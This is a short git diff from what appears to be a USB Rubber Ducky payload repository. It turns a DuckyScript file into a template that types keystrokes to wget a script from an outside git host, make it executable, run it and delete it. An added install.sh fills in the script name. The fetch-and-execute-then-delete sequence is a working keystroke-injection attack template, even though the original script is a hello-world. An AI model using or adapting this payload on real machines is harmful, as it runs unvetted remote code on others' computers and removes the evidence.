diff --git a/payload.dd b/example.dd similarity index 71% rename from payload.dd rename to example.dd index af2cc2a..bb410b9 100644 --- a/payload.dd +++ b/example.dd @@ -4,19 +4,19 @@ REM DESCRIPTION Fetch and execute a script from remote repository REM VERSION 1.0 DELAY 200 -STRING wget -q https://git.sajenim.dev/jasmine/ducky-payloads/raw/branch/master/bin/hello_world.sh +STRING wget -q https://git.sajenim.dev/jasmine/ducky-payloads/raw/branch/master/bin/script.sh ENTER DELAY 200 -STRING chmod +x hello_world.sh +STRING chmod +x script.sh ENTER DELAY 200 -STRING ./hello_world.sh +STRING ./script.sh ENTER DELAY 200 -STRING rm hello_world.sh +STRING rm script.sh ENTER DELAY 200 diff --git a/install.sh b/install.sh new file mode 100755 index 0000000..baa2a65 --- /dev/null +++ b/install.sh @@ -0,0 +1,3 @@ +#!/bin/sh +sed s/script.sh/$1/g example.dd > payload.dd +